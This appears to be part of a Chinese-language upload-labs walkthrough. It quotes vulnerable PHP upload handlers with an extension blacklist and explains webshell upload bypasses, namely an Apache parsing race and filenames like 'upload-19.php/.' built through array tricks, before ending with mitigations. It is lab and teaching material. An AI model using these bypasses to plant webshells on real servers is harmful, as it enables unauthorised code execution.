if ( isset ( $_POST [ 'submit' ]))
{
require_once ( "./myupload.php" );
$imgFileName = time ();
$u = new MyUpload ( $_FILES [ 'upload_file' ][ 'name' ], $_FILES [ 'upload_file' ][ 'tmp_name' ], $_FILES [ 'upload_file' ][ 'size' ], $imgFileName );
$status_code = $u -> upload ( UPLOAD_PATH );
switch ( $status_code ) {
case 1 :
$is_upload = true ;
$img_path = $u -> cls_upload_dir . $u -> cls_file_rename_to ;
break ;
case 2 :
$msg = '文件已经被上传,但没有重命名。' ;
break ;
case - 1 :
$msg = '这个文件不能上传到服务器的临时文件存储目录。' ;
break ;
case - 2 :
$msg = '上传失败,上传目录不可写。' ;
break ;
case - 3 :
$msg = '上传失败,无法上传该类型文件。' ;
break ;
case - 4 :
$msg = '上传失败,上传的文件过大。' ;
break ;
case - 5 :
$msg = '上传失败,服务器已经存在相同名称文件。' ;
break ;
case - 6 :
$msg = '文件无法上传,文件不能复制到目标目录。' ;
break ;
default :
$msg = '未知错误!' ;
break ;
}
}
//myupload.php
class MyUpload {
......
......
......
var $cls_arr_ext_accepted = array (
".doc" , ".xls" , ".txt" , ".pdf" , ".gif" , ".jpg" , ".zip" , ".rar" , ".7z" , ".ppt" ,
".html" , ".xml" , ".tiff" , ".jpeg" , ".png" );
......
......
......
/** upload()
**
** Method to upload the file.
** This is the only method to call outside the class.
** @para String name of directory we upload to
** @returns void
**/
function upload ( $dir ){
$ret = $this -> isUploadedFile ();
if ( $ret != 1 ){
return $this -> resultUpload ( $ret );
}
$ret = $this -> setDir ( $dir );
if ( $ret != 1 ){
return $this -> resultUpload ( $ret );
}
$ret = $this -> checkExtension ();
if ( $ret != 1 ){
return $this -> resultUpload ( $ret );
}
$ret = $this -> checkSize ();
if ( $ret != 1 ){
return $this -> resultUpload ( $ret );
}
// if flag to check if the file exists is set to 1
if ( $this -> cls_file_exists == 1 ){
$ret = $this -> checkFileExists ();
if ( $ret != 1 ){
return $this -> resultUpload ( $ret );
}
}
// if we are here, we are ready to move the file to destination
$ret = $this -> move ();
if ( $ret != 1 ){
return $this -> resultUpload ( $ret );
}
// check if we need to rename the file
if ( $this -> cls_rename_file == 1 ){
$ret = $this -> renameFile ();
if ( $ret != 1 ){
return $this -> resultUpload ( $ret );
}
}
// if we are here, everything worked as planned :)
return $this -> resultUpload ( "SUCCESS" );
}
......
......
......
};
这里有一个细节,由于可能是这个靶场的作者的某种原因可能有误,上传的图片路径不是放在upload文件夹下
,所以我们要进去修改一下第19关的代码文件:
这关作者的本意应该是想让我们学习到Apache解析漏洞 ,如果重复发包上传文件webshell.php.7z
,有几率导致某次服务器无法对上传过来的文件成功重命名,就导致webshell.php.7z
未被重命名被传到服务器里。Apache解析漏洞会将webshell.php.*
都当作webshell.php
执行。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$is_upload = false ;
$msg = null ;
if ( isset ( $_POST [ 'submit' ])) {
if ( file_exists ( UPLOAD_PATH )) {
$deny_ext = array ( "php" , "php5" , "php4" , "php3" , "php2" , "html" , "htm" , "phtml" , "pht" , "jsp" , "jspa" , "jspx" , "jsw" , "jsv" , "jspf" , "jtml" , "asp" , "aspx" , "asa" , "asax" , "ascx" , "ashx" , "asmx" , "cer" , "swf" , "htaccess" );
$file_name = $_POST [ 'save_name' ];
$file_ext = pathinfo ( $file_name , PATHINFO_EXTENSION );
if ( ! in_array ( $file_ext , $deny_ext )) {
$temp_file = $_FILES [ 'upload_file' ][ 'tmp_name' ];
$img_path = UPLOAD_PATH . '/' . $file_name ;
if ( move_uploaded_file ( $temp_file , $img_path )) {
$is_upload = true ;
} else {
$msg = '上传出错!' ;
}
} else {
$msg = '禁止保存为该类型文件!' ;
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!' ;
}
}
代码通过move_uploaded_file()
将上传的文件移动到新位置
move_uploaded_file()
的特性:移动的时候会忽略掉文件末尾的 /.
,而php/.
可以绕过黑名单。
所以可以上传后门,命名为upload-19.php/.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
$is_upload = false ;
$msg = null ;
if ( ! empty ( $_FILES [ 'upload_file' ])){
//检查MIME
$allow_type = array ( 'image/jpeg' , 'image/png' , 'image/gif' );
if ( ! in_array ( $_FILES [ 'upload_file' ][ 'type' ], $allow_type )){
$msg = "禁止上传该类型文件!" ;
} else {
//检查文件名
$file = empty ( $_POST [ 'save_name' ]) ? $_FILES [ 'upload_file' ][ 'name' ] : $_POST [ 'save_name' ];
if ( ! is_array ( $file )) {
$file = explode ( '.' , strtolower ( $file ));
}
$ext = end ( $file );
$allow_suffix = array ( 'jpg' , 'png' , 'gif' );
if ( ! in_array ( $ext , $allow_suffix )) {
$msg = "禁止上传该后缀文件!" ;
} else {
$file_name = reset ( $file ) . '.' . $file [ count ( $file ) - 1 ];
$temp_file = $_FILES [ 'upload_file' ][ 'tmp_name' ];
$img_path = UPLOAD_PATH . '/' . $file_name ;
if ( move_uploaded_file ( $temp_file , $img_path )) {
$msg = "文件上传成功!" ;
$is_upload = true ;
} else {
$msg = "文件上传失败!" ;
}
}
}
} else {
$msg = "请选择要上传的文件!" ;
}
验证过程:
验证上传路径是否存在
验证['upload_file']
的content-type是否合法(可以抓包修改)
判断POST参数是否为空定义$file
变量(关键:构造数组绕过下一步的判断)
判断file不是数组则使用explode('.', strtolower($file))
对file进行切割,将file变为一个数组
数组第一位和$file[count($file) - 1]
进行拼接,产生保存文件名file_name
上传文件
绕过:
将要保存的文件名变成一个空间为3的数组,第2个值([1])留空
这样子就会把upload-20.php/
与.
与拼接
最后就是upload-20.php/.
move_uploaded_file()
移动文件的时候会忽略/.
!!
文件上传后存储目录不给执行权限
把上传的文件数据编码后存储,固定方式解析
将文件保存在另外一台服务器上
将文件保存在OSS上